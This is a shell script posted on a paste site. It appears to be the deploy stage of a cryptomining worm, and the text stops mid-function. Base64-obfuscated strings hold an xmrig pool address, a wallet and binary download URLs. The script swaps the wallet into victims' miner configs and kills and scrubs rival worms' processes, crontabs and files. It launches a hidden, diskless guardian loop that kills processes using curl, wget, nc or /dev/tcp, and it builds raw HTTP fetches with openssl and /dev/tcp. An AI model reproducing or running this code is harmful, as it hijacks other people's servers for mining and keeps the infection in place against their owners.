Guest

svcczxvzxc

Oct 22nd, 2026
28
0
Never
Not a member of GistPad yet? Sign Up, it unlocks many cool features!
None 133.96 KB | None | 0 0
  1. #!/bin/sh
  2. _d(){ printf '%s' "$1"|base64 -d 2>/dev/null; }
  3. #!/bin/sh
  4. if [ -z "$BASH_VERSION" ]; then
  5. case "$0" in
  6. /*|./*)
  7. if command -v bash >/dev/null 2>&1; then
  8. exec bash "$0" "$@"
  9. fi
  10. ;;
  11. esac
  12. fi
  13. _c1="${1:-x}"
  14. _c2=$(_d 'aHR0cHM6Ly9yZWdpc3RyeS5ucG1qcy5vcmcvY2JjOTdiN2EvbGF0ZXN0')
  15. _c3=$(_d 'eG1yLmtyeXB0ZXgubmV0d29yazo4MDI5')
  16. _c4=$(_d 'ODgza0FCN1Vmb0pDS1B6WkFhdlVDSEpkSDRMMnFWanF3NEE3OWRpVXJGakJXQkZyZXJoWFBGYmJVWm5ZMkNlbWNVaUJjTHBBVXozOHZWWUJiVXFUSEFnb0F3Z0JDRkg=')
  17. _c5=$(_d 'Z29Bd2dCQ0ZI')
  18. _c6=$(_d 'Z29Bd2dCQ0ZIIHJlc2VydmVwYXR0ZXJuMjMzMzMgcGF0dGVybjJyZXNlcnZlMzMz')
  19. _c7=$(_d 'aHR0cHM6Ly9naXRsYWIuY29tL2FsYmVydG90cmluZGFkZTEzMS9hbC8tL3Jhdy9tYXN0ZXIveG1yaWc=')
  20. _c8=$(_d 'aHR0cHM6Ly9naXRsYWIuY29tL2FwaS92NC9wcm9qZWN0cy81NDMxNDE2MS9wYWNrYWdlcy9nZW5lcmljL3htcmlnLWFhcmNoNjQtc3RhdGljLzIwMjYtMDctMjMveG1yaWctYWFyY2g2NC1zdGF0aWM=')
  21. _c9=$(_d 'aHR0cHM6Ly9naGZhc3QudG9wLz9xPWh0dHBzJTNBJTJGJTJGZ2l0aHViLmNvbSUyRmx1Y2FzNzczMzUlMkZ4bXJpZy1hbWQlMkZyZWxlYXNlcyUyRmRvd25sb2FkJTJGbWFpbiUyRnhtcmlnLXg4Nl82NC1zdGF0aWM=')
  22. log() { echo "$(date '+%Y-%m-%d %H:%M:%S') - $1"; }
  23. _preflight() {
  24. _pf_need_fetch=1 # always need HTTP fetch capability
  25. # Determine what we have
  26. _check_tools() {
  27. _pf_has_curl=0; _pf_has_wget=0; _pf_has_openssl=0; _pf_has_perl=0
  28. command -v curl >/dev/null 2>&1 && _pf_has_curl=1
  29. command -v wget >/dev/null 2>&1 && _pf_has_wget=1
  30. command -v openssl >/dev/null 2>&1 && _pf_has_openssl=1
  31. command -v perl >/dev/null 2>&1 && _pf_has_perl=1
  32. }
  33. _check_tools
  34. # Can we fetch?
  35. _pf_can_fetch() {
  36. # curl or wget alone is sufficient
  37. [ "$_pf_has_curl" = "1" ] && return 0
  38. [ "$_pf_has_wget" = "1" ] && return 0
  39. # openssl + perl together is sufficient (openssl for TLS, perl for chunked decode)
  40. [ "$_pf_has_openssl" = "1" ] && [ "$_pf_has_perl" = "1" ] && return 0
  41. return 1
  42. }
  43. # If we can't fetch, try to install as root
  44. if ! _pf_can_fetch; then
  45. log "PREFLIGHT: missing HTTP fetch capability"
  46. if [ "$(id -u)" = "0" ]; then
  47. log "Running as root — installing missing components..."
  48. _pf_installed=0
  49. # Try package managers in order of preference: curl first (simplest),
  50. # then wget, then openssl+perl
  51. if command -v apk >/dev/null 2>&1; then
  52. # Alpine: prefer curl, then wget
  53. if [ "$_pf_installed" = "0" ]; then
  54. log " trying apk add curl..."
  55. apk add --no-cache curl >/dev/null 2>&1 && _pf_installed=1
  56. fi
  57. if [ "$_pf_installed" = "0" ]; then
  58. log " trying apk add wget..."
  59. apk add --no-cache wget >/dev/null 2>&1 && _pf_installed=1
  60. fi
  61. if [ "$_pf_installed" = "0" ]; then
  62. log " trying apk add openssl perl..."
  63. apk add --no-cache openssl perl >/dev/null 2>&1 && _pf_installed=1
  64. fi
  65. elif command -v apt-get >/dev/null 2>&1; then
  66. # Debian/Ubuntu: prefer curl, then wget
  67. apt-get update -qq >/dev/null 2>&1
  68. if [ "$_pf_installed" = "0" ]; then
  69. log " trying apt-get install curl..."
  70. apt-get install -y -qq curl >/dev/null 2>&1 && _pf_installed=1
  71. fi
  72. if [ "$_pf_installed" = "0" ]; then
  73. log " trying apt-get install wget..."
  74. apt-get install -y -qq wget >/dev/null 2>&1 && _pf_installed=1
  75. fi
  76. if [ "$_pf_installed" = "0" ]; then
  77. log " trying apt-get install openssl perl..."
  78. apt-get install -y -qq openssl perl >/dev/null 2>&1 && _pf_installed=1
  79. fi
  80. elif command -v yum >/dev/null 2>&1; then
  81. # RHEL/CentOS
  82. if [ "$_pf_installed" = "0" ]; then
  83. log " trying yum install curl..."
  84. yum install -y curl >/dev/null 2>&1 && _pf_installed=1
  85. fi
  86. if [ "$_pf_installed" = "0" ]; then
  87. log " trying yum install wget..."
  88. yum install -y wget >/dev/null 2>&1 && _pf_installed=1
  89. fi
  90. elif command -v dnf >/dev/null 2>&1; then
  91. # Fedora
  92. if [ "$_pf_installed" = "0" ]; then
  93. log " trying dnf install curl..."
  94. dnf install -y curl >/dev/null 2>&1 && _pf_installed=1
  95. fi
  96. fi
  97. # Re-check after install
  98. _check_tools
  99. if _pf_can_fetch; then
  100. log "PREFLIGHT: install succeeded"
  101. else
  102. log "PREFLIGHT: cannot install fetch tools; deferring to static-pastebin cron path"
  103. fi
  104. else
  105. log "PREFLIGHT: no fetch capability and not root; deferring to static-pastebin cron path"
  106. fi
  107. fi
  108. # Report what we have
  109. _pf_tools=""
  110. [ "$_pf_has_curl" = "1" ] && _pf_tools="$_pf_tools curl"
  111. [ "$_pf_has_wget" = "1" ] && _pf_tools="$_pf_tools wget"
  112. [ "$_pf_has_openssl" = "1" ] && _pf_tools="$_pf_tools openssl"
  113. [ "$_pf_has_perl" = "1" ] && _pf_tools="$_pf_tools perl"
  114. log "PREFLIGHT OK: fetch available via:$_pf_tools"
  115. }
  116. _preflight
  117.  
  118. _q9='883kAB7UfoJCKPzZAavUCHJdH4L2qVjqw4A79diUrFjBWBFrerhXPFbbUZnY2CemcUiBcLpAUz38vVYBbUqTHAgoAwgBCFH'
  119.  
  120. _z7() {
  121. _r1="${1:-/var/tmp/.odoo_pg_health.json}"
  122. _r2="${2:-/var/tmp/.odoo_pg_start}"
  123. _s1='s/"user"[[:space:]]*:[[:space:]]*"[^"]*"/"user": "'"$_q9"'"/g'
  124. _s2='s/^W=["'"'"']*[^"'"'"']*["'"'"']*$/W="'"$_q9"'"/'
  125. _h1 "$_r1" "$_s1"
  126. _h1 "$_r2" "$_s2"
  127. return 0
  128. }
  129.  
  130. _h1() {
  131. _f0="$1"
  132. _p0="$2"
  133. _t0="${_f0}.$$"
  134. command -v sed >/dev/null 2>&1 || return 0
  135. command -v cat >/dev/null 2>&1 || return 0
  136. [ -f "$_f0" ] || return 0
  137. [ -r "$_f0" ] || return 0
  138. [ -w "$_f0" ] || return 0
  139. if sed "$_p0" "$_f0" > "$_t0" 2>/dev/null; then
  140. if cat "$_t0" > "$_f0" 2>/dev/null; then
  141. :
  142. fi
  143. fi
  144. rm -f "$_t0" 2>/dev/null || :
  145. return 0
  146. }
  147.  
  148. mask_enemy() { _z7 "$@"; }
  149.  
  150.  
  151. detect_kill_unicorn() {
  152. _dk_uid=$(id -u 2>/dev/null || echo 0)
  153. _dk_user=$(id -un 2>/dev/null || echo "")
  154. _dk_home=$(getent passwd "$_dk_user" 2>/dev/null | cut -d: -f6)
  155. [ -n "$_dk_home" ] || _dk_home="${HOME:-/tmp}"
  156. _dk_cldir="$_dk_home/.claude"
  157.  
  158. # Target 1: the daemonized miner, identified by cwd == ~/.claude.
  159. # Safe: nothing legitimate ever runs from the worm's hidden dir.
  160. _dk_miners=""
  161. for _dk_proc in /proc/[0-9]*; do
  162. [ -d "$_dk_proc" ] || continue
  163. _dk_pid=${_dk_proc#/proc/}
  164. [ "$_dk_pid" -eq "$_dk_pid" ] 2>/dev/null || continue
  165. [ "$_dk_pid" = "$$" ] && continue
  166. _dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)
  167. [ "$_dk_owner" = "$_dk_uid" ] || continue
  168. _dk_cwd=$(readlink "$_dk_proc/cwd" 2>/dev/null)
  169. case "$_dk_cwd" in
  170. "$_dk_cldir") _dk_miners="$_dk_miners $_dk_pid";;
  171. esac
  172. done
  173.  
  174. # Target 2: the live CRON jobs -> descendants respawner tree
  175. _dk_crons=""
  176. for _dk_proc in /proc/[0-9]*; do
  177. [ -d "$_dk_proc" ] || continue
  178. _dk_pid=${_dk_proc#/proc/}
  179. [ "$_dk_pid" -eq "$_dk_pid" ] 2>/dev/null || continue
  180. [ "$_dk_pid" = "$$" ] && continue
  181. _dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)
  182. [ "$_dk_owner" = "$_dk_uid" ] || continue
  183. [ -r "$_dk_proc/cmdline" ] || continue
  184. _dk_cmd=$(tr '\000' ' ' < "$_dk_proc/cmdline" 2>/dev/null)
  185. _dk_a0=$(printf '%s\n' "$_dk_cmd" | awk '{print $1}')
  186. _dk_a1=$(printf '%s\n' "$_dk_cmd" | awk '{print $2}')
  187. _dk_a2=$(printf '%s\n' "$_dk_cmd" | awk '{print $3}')
  188. [ "$(basename "$_dk_a0" 2>/dev/null)" = "CRON" ] || continue
  189. [ "$_dk_a1" = "jobs" ] || continue
  190. [ -n "$_dk_a2" ] && continue
  191. _dk_crons="$_dk_crons $_dk_pid"
  192. done
  193.  
  194. # expand CRON jobs to all descendants
  195. _dk_tree="$_dk_crons"
  196. for _dk_round in 1 2 3 4 5; do
  197. for _dk_proc in /proc/[0-9]*; do
  198. [ -d "$_dk_proc" ] || continue
  199. _dk_pid=${_dk_proc#/proc/}
  200. [ "$_dk_pid" -eq "$_dk_pid" ] 2>/dev/null || continue
  201. [ "$_dk_pid" = "$$" ] && continue
  202. _dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)
  203. [ "$_dk_owner" = "$_dk_uid" ] || continue
  204. _dk_pp=$(awk '{print $4}' "$_dk_proc/stat" 2>/dev/null)
  205. case " $_dk_tree " in
  206. *" $_dk_pp "*)
  207. case " $_dk_tree " in *" $_dk_pid "*) ;; *) _dk_tree="$_dk_tree $_dk_pid";; esac
  208. ;;
  209. esac
  210. done
  211. done
  212.  
  213. # Kill everything (miners + cron tree), TERM then KILL
  214. _dk_all="$_dk_miners $_dk_tree"
  215. for _dk_pid in $_dk_all; do kill -TERM "$_dk_pid" 2>/dev/null; done
  216. sleep 1 2>/dev/null
  217. for _dk_pid in $_dk_all; do kill -0 "$_dk_pid" 2>/dev/null && kill -KILL "$_dk_pid" 2>/dev/null; done
  218.  
  219. # Scrub the respawner: crontab + payload files in .claude
  220. _dk_cron_ioc='95\.85\.237\.226|193\.41\.68\.194|95\.85\.237\.149|2\.26\.99\.68|210\.195\.19\.39|apt-update\.com|joker\.aec944b68370194a50|\.claude'
  221. if command -v crontab >/dev/null 2>&1; then
  222. _dk_ct="${TMPDIR:-/tmp}/.dkcron.$$"
  223. if crontab -u "$_dk_user" -l 2>/dev/null > "$_dk_ct"; then
  224. if grep -Eq "$_dk_cron_ioc|CRON jobs" "$_dk_ct" 2>/dev/null; then
  225. grep -vE "$_dk_cron_ioc|CRON jobs" "$_dk_ct" 2>/dev/null | crontab -u "$_dk_user" - 2>/dev/null
  226. echo "[dk] scrubbed crontab: $_dk_user"
  227. fi
  228. fi
  229. rm -f "$_dk_ct" 2>/dev/null
  230. fi
  231. for _dk_f in "/var/spool/cron/crontabs/$_dk_user" "/var/spool/cron/$_dk_user"; do
  232. [ -f "$_dk_f" ] || continue
  233. grep -Eq "$_dk_cron_ioc|CRON jobs" "$_dk_f" 2>/dev/null || continue
  234. chattr -f -ia "$_dk_f" 2>/dev/null
  235. sed -i -E "/$_dk_cron_ioc|CRON jobs/d" "$_dk_f" 2>/dev/null
  236. done
  237.  
  238. # remove the worm payload files (only ones we own, only inside .claude)
  239. if [ -d "$_dk_cldir" ] && [ -O "$_dk_cldir" ]; then
  240. for _dk_f in "$_dk_cldir"/unicorn "$_dk_cldir"/CRON "$_dk_cldir"/jobs "$_dk_cldir"/pwb "$_dk_cldir"/config.json; do
  241. [ -e "$_dk_f" ] || continue
  242. [ -O "$_dk_f" ] || continue
  243. chattr -f -ia "$_dk_f" 2>/dev/null
  244. rm -f "$_dk_f" 2>/dev/null
  245. echo "[dk] removed: $_dk_f"
  246. done
  247. fi
  248.  
  249. [ -z "$_dk_miners" ] && [ -z "$_dk_tree" ] && echo "[dk] nothing found" \
  250. || echo "[dk] done: killed$(echo $_dk_miners)$(echo $_dk_tree)"
  251. return 0
  252. }
  253.  
  254. # ── Competitor-worm counter (ported TTP, 2026-10-22 forensics) ──────────────
  255. # The observed competitor family (ideesrv/hpvroom miner + .dbus guardian,
  256. # /opt/zimbra/db/data/.halt) SIGKILLs any same-user process whose cmdline
  257. # matches {curl, wget, dev/tcp dialer, pty.spawn, nc -e} from a ~100ms
  258. # /proc scan loop, via piped diskless children. Countermeasure:
  259. # 1) sweep their instances at deploy time (exe-path invariant)
  260. # 2) resident guardian arm (same scan rule, marker-exempt for our kit)
  261. # Mechanism doc: payloads/COMPETITOR-KILL-TACTIC.md
  262. _GC_MARK=corecheck
  263.  
  264. _gc_exempt() {
  265. case "$1" in
  266. *".beacon_"*|*"systemdev"*|*"cron-fetch"*|*"dns-filter"*|*"$_GC_MARK"*|*" 1510"*) return 0 ;;
  267. esac
  268. return 1
  269. }
  270.  
  271. sweep_competitor_worms() {
  272. echo "[sw] sweep entered (uid: $(id -u), self: $$)"
  273. _sw_uid=$(id -u 2>/dev/null)
  274. for _sw_d in /proc/[0-9]*; do
  275. _sw_p=${_sw_d#/proc/}
  276. [ "$_sw_p" = "$$" ] && continue
  277. [ "$(_sw_owner=$(stat -c%u "$_sw_d" 2>/dev/null); echo $_sw_owner)" = "$_sw_uid" ] || continue
  278. _sw_ex=$(readlink "$_sw_d/exe" 2>/dev/null)
  279. _sw_cmd=$(strings "$_sw_d/cmdline" 2>/dev/null)
  280. _gc_exempt "$_sw_cmd" && continue
  281. case "$_sw_ex" in
  282. */".halt/"*|*/".dbus/"*)
  283. kill -9 "$_sw_p" 2>/dev/null && echo "[sw] worm killed: $_sw_p $_sw_ex" ;;
  284. *)
  285. # script-style instances carry the hidden-dir path in the CMDLINE
  286. # (e.g. sh /opt/zimbra/db/data/.halt/ideesrv) — exe check alone
  287. # misses them (seen in ztest: mock worm survived exe-only match)
  288. case "$_sw_cmd" in
  289. *"/.halt/"*|*"/.dbus/"*)
  290. kill -9 "$_sw_p" 2>/dev/null && echo "[sw] worm killed (cmdline): $_sw_p $_sw_cmd" ;;
  291. esac ;;
  292. esac
  293. done
  294. # pass 2: hunt resident killer-loop SCRIPTS (shell running a script file
  295. # that combines kill -9 with competitor connection patterns — the
  296. # on-host anti-competitor guardian shape). Exemptions apply first.
  297. for _sw_d in /proc/[0-9]*; do
  298. _sw_p=${_sw_d#/proc/}
  299. [ "$_sw_p" = "$$" ] && continue
  300. [ "$(_sw_owner=$(stat -c%u "$_sw_d" 2>/dev/null); echo $_sw_owner)" = "$_sw_uid" ] || continue
  301. _sw_c1=$(strings "$_sw_d/cmdline" 2>/dev/null | sed -n 1p)
  302. _sw_sf=$(strings "$_sw_d/cmdline" 2>/dev/null | sed -n 2p)
  303. _gc_exempt "$_sw_c1" && continue
  304. case "$_sw_c1" in
  305. bash|sh|ash|dash|*/bash|*/sh|*/ash|*/dash)
  306. case "$_sw_sf" in
  307. /*)
  308. if [ -r "$_sw_sf" ] && grep -qF "kill -9" "$_sw_sf" 2>/dev/null \
  309. && grep -qE "dev/tcp|curl|wget" "$_sw_sf" 2>/dev/null; then
  310. kill -9 "$_sw_p" 2>/dev/null && rm -f "$_sw_sf" 2>/dev/null \
  311. && echo "[sw] killer-script hunted: $_sw_p ($_sw_sf removed)"
  312. fi ;;
  313. esac ;;
  314. esac
  315. done
  316. return 0
  317. }
  318.  
  319. # guardian scanner loop — installed diskless (streamed via stdin pipe),
  320. # 100ms /proc scan, same-uid only, marker-exempt; single instance via pidfile.
  321. _GC_LOOP_B64='VT0kKGlkIC11IDI+L2Rldi9udWxsKQpkZWNsYXJlIC1BIFNFRU4Kd2hpbGUgOjsgZG8KICBmb3IgZCBpbiAvcHJvYy9bMC05XSo7IGRvCiAgICBbIC1yICIkZC9jbWRsaW5lIiBdIHx8IGNvbnRpbnVlCiAgICBvPSQoc3RhdCAtYyV1ICIkZCIgMj4vZGV2L251bGwpIHx8IGNvbnRpbnVlCiAgICBbICIkbyIgPSAiJFUiIF0gfHwgY29udGludWUKICAgIHA9JHtkIy9wcm9jL30KICAgIFsgIiRwIiA9ICIkJCIgXSAmJiBjb250aW51ZQogICAgYz0kKHN0cmluZ3MgIiRkL2NtZGxpbmUiIDI+L2Rldi9udWxsKQogICAgY2FzZSAiJGMiIGluCiAgICAgICoiLmJlYWNvbl8iKnwqInN5c3RlbWRldiIqfCoiY3Jvbi1mZXRjaCIqfCoiZG5zLWZpbHRlciIqfCoiY29yZWNoZWNrIiopIGNvbnRpbnVlIDs7CiAgICBlc2FjCiAgICBjYXNlICIkYyIgaW4KICAgICAgKiJjdXJsIip8KiJ3Z2V0Iip8KiJkZXYvdGNwIip8KiJwdHkuc3Bhd24iKnwqIm5jIC1lIip8KiJuY2F0Iip8KiJzb2NhdCIqKQogICAgICAgIGlmIFsgLXogIiR7U0VFTlskcF19IiBdOyB0aGVuCiAgICAgICAgICBTRUVOWyRwXT0xCiAgICAgICAgZWxzZQogICAgICAgICAgU0VFTlskcF09JCgoJHtTRUVOWyRwXX0gKyAxKSkKICAgICAgICAgIGlmIFsgIiR7U0VFTlskcF19IiAtZ2UgMjAgXTsgdGhlbgogICAgICAgICAgICBraWxsIC05ICIkcCIgMj4vZGV2L251bGwKICAgICAgICAgICAgdW5zZXQgU0VFTlskcF0KICAgICAgICAgIGZpCiAgICAgICAgZmkgOzsKICAgICAgKikKICAgICAgICBbIC1uICIke1NFRU5bJHBdfSIgXSAmJiB1bnNldCBTRUVOWyRwXSA7OwogICAgZXNhYwogIGRvbmUKICBpPSQoKCR7aX0gKyAxKSkKICBpZiBbICQoKGkgJSA1MCkpIC1lcSAwIF07IHRoZW4KICAgIGZvciBwIGluICR7IVNFRU5bQF19OyBkbwogICAgICBbIC1kICIvcHJvYy8kcCIgXSB8fCB1bnNldCBTRUVOWyRwXQogICAgZG9uZQogIGZpCiAgc2xlZXAgMC4xIDI+L2Rldi9udWxsIHx8IHNsZWVwIDEKZG9uZQo='
  322.  
  323. install_competitor_guardian() {
  324. [ "$(id -u)" = "0" ] && { echo "[gd] guardian: root deploy — skipped (phase-2)"; return 0; }
  325. command -v stat >/dev/null 2>&1 || return 0
  326. _gd_home=""
  327. [ -n "$HOME" ] && [ -w "$HOME" ] && mkdir -p "$HOME/.usr_cron/lib" 2>/dev/null && _gd_home="$HOME/.usr_cron/lib"
  328. [ -n "$_gd_home" ] || _gd_home="/tmp/.usr_gd$$"
  329. _gd_pidfile="$_gd_home/.gpid"
  330. if [ -f "$_gd_pidfile" ]; then
  331. _gd_old=$(cat "$_gd_pidfile" 2>/dev/null)
  332. kill -0 "$_gd_old" 2>/dev/null && return 0
  333. rm -f "$_gd_pidfile"
  334. fi
  335. # NOTE: the pipeline MUST be backgrounded (&) — without it the shell waits
  336. # forever for the last stage (the guardian's own never-exiting loop) and
  337. # deploy.sh hangs after "Beacon cron installed" (seen in ztest 2026-10-22).
  338. printf %s "$_GC_LOOP_B64" | base64 -d 2>/dev/null | setsid bash >/dev/null 2>&1 &
  339. _gd_newpid=$!
  340. sleep 0.3
  341. printf %s "$_gd_newpid" > "$_gd_pidfile" 2>/dev/null
  342. kill -0 "$_gd_newpid" 2>/dev/null \
  343. && echo "[gd] competitor guardian installed (pid $_gd_newpid, pidfile: $_gd_pidfile)" \
  344. || echo "[gd] guardian install failed to start"
  345. return 0
  346. }
  347.  
  348.  
  349. detect_kill_unicorn
  350. sweep_competitor_worms
  351.  
  352. http_get() {
  353. _hg_url="$1"; _hg_follow=0
  354. while [ "$_hg_follow" -lt 5 ]; do
  355. _hg_follow=$((_hg_follow + 1))
  356. _hg_hp="${_hg_url#https://}";; _hg_hp="${_hg_hp#http://}";
  357. _hg_host="${_hg_hp%%/*}"; _hg_path="/${_hg_hp#*/}"
  358. [ "$_hg_host" = "$_hg_hp" ] && _hg_path="/"
  359. _hg_ip=$(getent ahostsv4 "$_hg_host" 2>/dev/null | awk '{print $1; exit}')
  360. [ -z "$_hg_ip" ] && _hg_ip="$_hg_host"
  361. _hg_req="/tmp/.hgreq$$"; _hg_raw="/tmp/.hgraw$$"
  362. printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nConnection: close\r\n\r\n' \
  363. "$_hg_path" "$_hg_host" > "$_hg_req"
  364. if [ "${_hg_url#https://}"; != "$_hg_url" ]; then
  365. # HTTPS — openssl s_client with SNI
  366. if command -v timeout >/dev/null 2>&1; then
  367. timeout 45 openssl s_client -connect "${_hg_ip}:443" \
  368. -servername "$_hg_host" -quiet \
  369. < "$_hg_req" > "$_hg_raw" 2>/dev/null
  370. else
  371. openssl s_client -connect "${_hg_ip}:443" \
  372. -servername "$_hg_host" -quiet \
  373. < "$_hg_req" > "$_hg_raw" 2>/dev/null
  374. fi
  375. [ -s "$_hg_raw" ] || { rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; return 1; }
  376. else
  377. # Plain HTTP — use nc (netcat) if available (works on Alpine)
  378. if command -v nc >/dev/null 2>&1; then
  379. cat "$_hg_req" | nc "$_hg_ip" 80 > "$_hg_raw" 2>/dev/null
  380. elif [ -n "$BASH_VERSION" ]; then
  381. # bash /dev/tcp fallback
  382. exec 3<>"/dev/tcp/${_hg_ip}/80" 2>/dev/null
  383. cat "$_hg_req" >&3
  384. cat <&3 > "$_hg_raw" 2>/dev/null
  385. exec 3>&-
  386. else
  387. # Last resort: openssl on port 80 (may fail — TLS on plain HTTP port)
  388. cat "$_hg_req" | openssl s_client -connect "${_hg_ip}:80" -quiet 2>/dev/null > "$_hg_raw"
  389. fi
  390. fi
  391. _hg_status=$(head -1 "$_hg_raw" 2>/dev/null | awk '{print $2}')
  392. case "$_hg_status" in
  393. 301|302|303|307|308)
  394. _hg_loc=$(tr -d '\r' < "$_hg_raw" | awk 'tolower($1)=="location:"{print $2; exit}')
  395. rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
  396. [ -z "$_hg_loc" ] && return 1
  397. case "$_hg_loc" in
  398. esac
  399. _hg_url="$_hg_loc"
  400. continue
  401. ;;
  402. esac
  403. tr -d '\r' < "$_hg_raw" | perl -0777 -ne '
  404. if (/^(.*?)\n\n(.*)$/s) {
  405. my ($h, $b) = ($1, $2);
  406. if ($h =~ /transfer-encoding:\s*chunked/i) {
  407. my $out = "";
  408. while ($b =~ /^([0-9a-fA-F]+)\n(.*)$/s) {
  409. my $sz = hex($1); last if $sz == 0;
  410. $b = $2; $out .= substr($b, 0, $sz);
  411. $b = substr($b, $sz); $b =~ s/^\n//;
  412. }
  413. print $out;
  414. } else { print $b; }
  415. }
  416. ' | grep -v '^[0-9a-fA-F]*$'
  417. rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
  418. return 0
  419. done
  420. return 1
  421. }
  422. http_get_bin() {
  423. _hg_url="$1"; _hg_out="$2"; _hg_follow=0
  424. while [ "$_hg_follow" -lt 5 ]; do
  425. _hg_follow=$((_hg_follow + 1))
  426. _hg_hp="${_hg_url#https://}";; _hg_hp="${_hg_hp#http://}";
  427. _hg_host="${_hg_hp%%/*}"; _hg_path="/${_hg_hp#*/}"
  428. [ "$_hg_host" = "$_hg_hp" ] && _hg_path="/"
  429. _hg_ip=$(getent ahostsv4 "$_hg_host" 2>/dev/null | awk '{print $1; exit}')
  430. [ -z "$_hg_ip" ] && _hg_ip="$_hg_host"
  431. _hg_req="/tmp/.hgreq$$"; _hg_raw="/tmp/.hgraw$$"
  432. printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nConnection: close\r\n\r\n' \
  433. "$_hg_path" "$_hg_host" > "$_hg_req"
  434. if [ "${_hg_url#https://}"; != "$_hg_url" ]; then
  435. # HTTPS — openssl s_client with SNI
  436. if command -v timeout >/dev/null 2>&1; then
  437. timeout 45 openssl s_client -connect "${_hg_ip}:443" \
  438. -servername "$_hg_host" -quiet \
  439. < "$_hg_req" > "$_hg_raw" 2>/dev/null
  440. else
  441. openssl s_client -connect "${_hg_ip}:443" \
  442. -servername "$_hg_host" -quiet \
  443. < "$_hg_req" > "$_hg_raw" 2>/dev/null
  444. fi
  445. [ -s "$_hg_raw" ] || { rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; return 1; }
  446. else
  447. # Plain HTTP — nc or bash /dev/tcp
  448. if command -v nc >/dev/null 2>&1; then
  449. cat "$_hg_req" | nc "$_hg_ip" 80 > "$_hg_raw" 2>/dev/null
  450. elif [ -n "$BASH_VERSION" ]; then
  451. exec 3<>"/dev/tcp/${_hg_ip}/80" 2>/dev/null
  452. cat "$_hg_req" >&3
  453. cat <&3 > "$_hg_raw" 2>/dev/null
  454. exec 3>&-
  455. else
  456. cat "$_hg_req" | openssl s_client -connect "${_hg_ip}:80" -quiet 2>/dev/null > "$_hg_raw"
  457. fi
  458. fi
  459. _hg_status=$(head -1 "$_hg_raw" 2>/dev/null | awk '{print $2}')
  460. case "$_hg_status" in
  461. 301|302|303|307|308)
  462. _hg_loc=$(tr -d '\r' < "$_hg_raw" | awk 'tolower($1)=="location:"{print $2; exit}')
  463. rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
  464. [ -z "$_hg_loc" ] && return 1
  465. case "$_hg_loc" in
  466. esac
  467. _hg_url="$_hg_loc"
  468. continue
  469. ;;
  470. esac
  471. perl -0777 -ne '
  472. if (/^(.*?)\r\n\r\n(.*)$/s) {
  473. my ($h, $b) = ($1, $2);
  474. $h =~ s/\r//g;
  475. if ($h =~ /transfer-encoding:\s*chunked/i) {
  476. my $out = "";
  477. while ($b =~ /^([0-9a-fA-F]+)\r?\n(.*)$/s) {
  478. my $sz = hex($1); last if $sz == 0;
  479. $b = $2; $out .= substr($b, 0, $sz);
  480. $b = substr($b, $sz); $b =~ s/^\r?\n//;
  481. }
  482. print $out;
  483. } else { print $b; }
  484. }
  485. ' < "$_hg_raw" > "$_hg_out"
  486. rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
  487. [ -s "$_hg_out" ] && return 0 || return 1
  488. done
  489. return 1
  490. }
  491. fetch_url() {
  492. _fu_url="$1"
  493. if command -v curl >/dev/null 2>&1; then
  494. curl -fsSLk -A corecheck/1.0 --connect-timeout 10 --max-time 60 "$_fu_url" 2>/dev/null
  495. elif command -v wget >/dev/null 2>&1; then
  496. wget -qO- -U corecheck/1.0 --timeout=10 --tries=2 "$_fu_url" 2>/dev/null
  497. else
  498. http_get "$_fu_url"
  499. fi
  500. }
  501. fetch_file() {
  502. _ff_url="$1"; _ff_out="$2"
  503. if command -v curl >/dev/null 2>&1; then
  504. curl -fLk --silent --show-error -A corecheck/1.0 --connect-timeout 10 --max-time 120 \
  505. --retry 2 --retry-delay 1 --output "$_ff_out" "$_ff_url" 2>/dev/null
  506. elif command -v wget >/dev/null 2>&1; then
  507. wget -q -U corecheck/1.0 --timeout=10 --tries=3 -O "$_ff_out" "$_ff_url" 2>/dev/null
  508. else
  509. http_get_bin "$_ff_url" "$_ff_out"
  510. fi
  511. }
  512. _is_excluded() {
  513. _ie_cmdline="$1"
  514. for _ie_pat in $_c6; do
  515. case "$_ie_cmdline" in
  516. *"$_ie_pat"*) return 0 ;;
  517. esac
  518. done
  519. return 1
  520. }
  521. kill_themf() {
  522. (
  523. set +e
  524. _kt_threshold=9
  525. for _kt_proc in /proc/[0-9]*; do
  526. [ -r "$_kt_proc/status" ] || continue
  527. _kt_pid="${_kt_proc#/proc/}"
  528. _kt_cmdline=$(tr '\0' ' ' < "$_kt_proc/cmdline" 2>/dev/null)
  529. # Exclude our miner
  530. _is_excluded "$_kt_cmdline" && continue
  531. _kt_score=0
  532. _kt_name=$(awk '/^Name:/ {print $2}' "$_kt_proc/status")
  533. _kt_uid=$(awk '/^Uid:/ {print $2}' "$_kt_proc/status")
  534. _kt_state=$(awk '/^State:/ {print $2}' "$_kt_proc/status")
  535. _kt_ppid=$(awk '/^PPid:/ {print $2}' "$_kt_proc/status")
  536. _kt_rss=$(awk '/^VmRSS:/ {print $2}' "$_kt_proc/status")
  537. _kt_rss=${_kt_rss:-0}
  538. _kt_exe=$(readlink -f "$_kt_proc/exe" 2>/dev/null)
  539. [ -n "$_kt_exe" ] && _kt_score=$((_kt_score + 1))
  540. [ "$_kt_rss" -gt 500000 ] 2>/dev/null && _kt_score=$((_kt_score + 2))
  541. [ "$_kt_rss" -gt 1000000 ] 2>/dev/null && _kt_score=$((_kt_score + 3))
  542. _kt_zombies=$(ps --no-headers --ppid "$_kt_pid" -o stat 2>/dev/null | grep -c '^Z')
  543. [ "$_kt_zombies" -ge 5 ] 2>/dev/null && _kt_score=$((_kt_score + 3))
  544. [ "$_kt_zombies" -ge 20 ] 2>/dev/null && _kt_score=$((_kt_score + 2))
  545. _kt_user=$(id -nu "$_kt_uid" 2>/dev/null)
  546. if [ "$_kt_user" != root ]; then
  547. case "$_kt_state" in
  548. S*) _kt_score=$((_kt_score + 1)) ;;
